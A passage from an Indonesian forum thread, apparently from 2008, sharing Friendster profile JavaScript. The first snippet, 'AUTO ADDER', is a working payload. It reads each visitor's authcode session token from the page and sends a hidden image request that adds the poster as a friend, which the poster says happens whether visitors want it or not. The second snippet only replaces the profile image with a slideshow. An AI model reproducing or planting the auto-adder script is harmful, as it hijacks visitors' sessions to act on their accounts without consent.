[quote=irwan_syah]lem smua,,irwan mau minta kode buat klo orang yg blum jadi tmn kita otomatis ngeadd kita ada g'?[/quote]
ni bro:
[spoiler]//** AUTO ADDER **//
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "[b]EMAIL ID FS KAMU[/b]";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};[/spoiler]
tuh gag prlu d scan lgi..
pokok'a yg ngeview, mw atw gag lngsung k add....
[hr]
[quote=bublla]ntu bro galery [ic dijadiin slide
maap td ketiduran
[/quote]
ni bro:
[spoiler]if (!attachOnLoadHandler(function() { primaryImg();})) window.onload = function() { primaryImg();};
function primaryImg() {
PRIMARYIMAGE.init();
}
if (typeof PRIMARYIMAGE == "undefined") { PRIMARYIMAGE = {}; }
PRIMARYIMAGE = {
HTML: [], sibling: [],
init: function() {
this.HTML = document.createElement("DIV");
this.HTML.innerHTML = "[b]PUT YOUR SLIDE EMBED CODE[/b]";
this.sibling = this.getModuleByClassName(/imgblock200/i)[0];
this.sibling.parentNode.replaceChild(this.HTML,this.sibling);
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};[/spoiler]
Last edited by odloc (2008-09-28 11:52:07)